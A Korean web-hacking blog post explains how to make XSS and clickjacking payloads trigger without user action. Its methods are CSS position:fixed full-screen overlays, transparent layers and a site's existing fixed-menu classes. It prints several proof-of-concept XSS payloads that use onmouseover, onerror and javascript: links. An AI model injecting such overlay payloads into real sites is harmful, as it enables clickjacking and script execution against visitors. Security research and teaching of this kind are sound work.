| | at : |


Archive

[WEB HACKING] Easily trigger event handler for XSS/ClickJacking" using CSS(or stylesheet) 하훌 rwxr-xr-x 0 7/07/2017



[WEB HACKING] Easily trigger event handler for XSS/ClickJacking" using CSS(or stylesheet)

Permission rw-r--r--
Author 하훌
Date and Time 7/07/2017
Label
License 크리에이티브 커먼즈 라이선스


Intro

XSS는 영향력 대비 발견 가능성이 높은 취약점입니다. 또한 다른 Code base(Injection 등)의 취약점과 같이 연구하는 재미도 쏠쏠하고
사람에 따라 뚫을 수 있는 범위가 확실히 드러나는 취약점이기도 하죠.

오늘은 XSS나 ClickJacking의 영향력을 좀 더 강하게 발휘하는 방법에 대해 이야기할까 합니다.





대표적으로 아래와 같은 XSS 들은 즉시 발동이 가능하여 사용자의 액션없이도 스크립트 실행이 가능합니다.

<script>alert(45)</script>
<img src="z" onerror=alert(45)>
<svg/onload=alert(45)>
등등..

그러나 필터링 조건에 따라 우리는 아래와 같은 코드로 구성하는 경우도 많습니다.

<img src="z" onmouseover=alert(45)>
<input type="text" value="your input" onmouseenter=alert(45) a="">
때론.. <a> 태그로 장난을 치기도 하죠. (다만 모바일에서 보면 링크 내용을 볼 수 없어 낚이기 쉽다는..)

<a href="javascript:alert(45)">
이런 종류의 코드들은.. 마우스를 위로 가져간다던가, 사용자의 클릭이 필요한다는 둥 이벤트 핸들러를 만족하기 위한 조건이 필요합니다.
그래서 맨위 즉시 발동이 가능한 코드에 비해 영향력이 떨어지긴하죠.

CSS와 약간의 트릭을 이용해 우리는 XSS를 조금 더 완성 시킬 수 있습니다. (영향력 강화! / 그래야 개발자가 더 잘 고친다는 소문이..)

position:fixed

첫번째로 이야기드릴 것은 CSS의 position 입니다. 웹 UI나 Design에 관심이 있으시면 익숙하겠지요. position은 웹 상에서의 위치를 의미합니다.
기본적으로는 마치 스택과 같이 DOM 영역에 차곡차곡 쌓이게 되나 position을 이용해서 위치를 고정하거나, 다른형태로 유지할 수 있습니다.

static - 기본값으로 위치정보를 임의로 설정 해줄 수 없다.
absolute - 절대위치로, 문서 최 좌측상단을 기준으로 위치정보를 설정하며 스크롤시 이동한다.
relative - 상대위치로, static 위치 사용시 있던 위치를 기준으로 이동한다.
fixed - 위치 고정으로, 스크롤과 상관없이 항상 문서 최 좌측상단을 기준으로 좌표가 설정되어있다.
inherit  - 부모 태그의 속성값을 상속받게 된다.
http://div.or.kr/css-studying/position%20%EC%86%8D%EC%84%B1

속성에 들어가는 값은 위와같이 여러가지가 있습니다. 우리는 이 중 fixed에 주목해야합니다.
position:fixed는 해당 object를 DOM 영역에 고정시킬 수 있습니다. 대표적으로 많이 쓰이는게.. 스크롤을 내려도 고정된 메뉴창 이런곳이죠.

그럼 간단하게 코드를 하나 만들어볼까요?

<div style="position:fixed; top:20px; left:30px">
  하하하하
</div>
하하하하 가 웹 페이지 좌측 상단쯤에 고정될겁니다. 우리는 이걸 약간 공격에 활용할 수 있습니다.

<div style="position:fixed; top:0px; left:0px ;width:100% ;height:100%">
  <img src="z" onmouseover=alert(45) width=100% height=100%>
</div>
이렇게 되면.. <img> 태그가 좌측 상단 시작점(0,0)에 고정되고 너비,높이 모두 100%로 전체 화면을 채우는 이미지 영역이 생기게 됩니다.
이 영역에 마우스가 올라간 순간 alert() 함수는 동작하게 되죠. 그러면 피해자는 페이지에 접근하는 것 만으로도 별다른 액션없이 스크립트가 동작하게 됩니다.

이런 형태로 조금 더 영향력을 올릴 수 있습니다.

transparent layer

위에 내용을 조금 더 응용하면 재미있는 걸 할 수 있습니다. 바로 투명한 레이어를 만드는겁니다. 방법은 여러가지가 있겠지만.. 아까 헀던 코드 기준으로 설명드리죠.

<div style="position:fixed; top:0px; left:0px ;width:100% ;height:100%">
  <img src="z" onmouseover=alert(45) width=100% height=100%>
</div>
와 같이 전체를 덮는 코드가 있다면 img의 src를 투명한 이미지로 주어 사용자를 낚을 수 있습니다.
구글에 transparent background 나 transparent image 로 검색하면 많이 나옵니다.

그럼 하나의 더 고민이 생깁니다. 이미지 태그가 아니면 어떻게하죠?

그럴 경우 background-image를 이용해서 투명한 이미지를 영역의 배경화면으로 로드하거나 의미없는 문자를 사용하여 마치 투명한 창처럼 위장할 수 있습니다.

<div style="position:fixed; top:0px; left:0px ;width:100% ;height:100%;background-image:url('투명이미지주소');">
<a href="javascript:alert(45)"><a/>
</div>
또는...

<div style="position:fixed; top:0px; left:0px ;width:100% ;height:100%;">
<a href="javascript:alert(45)">                           <a/>  <!--저 안의 공백은 &#x00;(ㄱ>한자>1)입니다.   -->
</div>                                                          <!-- 일반적인 space bar(&#x20;)과는 다르죠 --> 


이런 형태의 트릭이 가능하죠. <img>의 영역은 아주 작지만, div의 css로 인해 페이지 접근 시 무조건 나타납니다.

class or id in style tag/css file

마지막으로 최근에 생각난 좋은 방법입니다. 웹 사이트에는 많은 CSS들이 사용되고 있습니다. 그 중에는 분명 fixed를 이용하거나 100%, 100%등 크기에 관련된 css 들이 많습니다. 대표적으로 GNB, LNB, SNB 등 고정메뉴에 사용되죠.

사용할 수 있는 속성이나 문자에 제한이 있을 때 우리는 이 CSS를 사용하여 위처럼 꾸밀 수 있습니다.

예를들어..

.iamGNB{
position:fixed;
left:0;
top:0;
}

#iamGNB2{
position:fixed;
left:0;
top:0;
}

<div class="iamGNB"> <!-- .이나 그냥 작성되면 class -->
<a href="javascript:alert(45)"><a/>
</div>

<div class="iamGNB2"> <!-- #의 경우는 id -->
<a href="javascript:alert(45)"><a/>
</div>
이런 형태로 css가 정의되어 있다고 하면 각 태그에서 class나 id로 적용시킬 수 있습니다.

Reference

http://div.or.kr/css-studying/position%20%EC%86%8D%EC%84%B1

Share







HAHWUL
HACKING | PENETRATION-TEST | CODING
HACKERONE : GIT : 0DAY-TODAY : EXPLOIT-DB : PACKETSTORM
GOOGLE+ | HAHWUL@GMAIL.COM | TWITTER
WWW.HAHWUL.COM






Recent Post

0 개의 댓글:

댓글 쓰기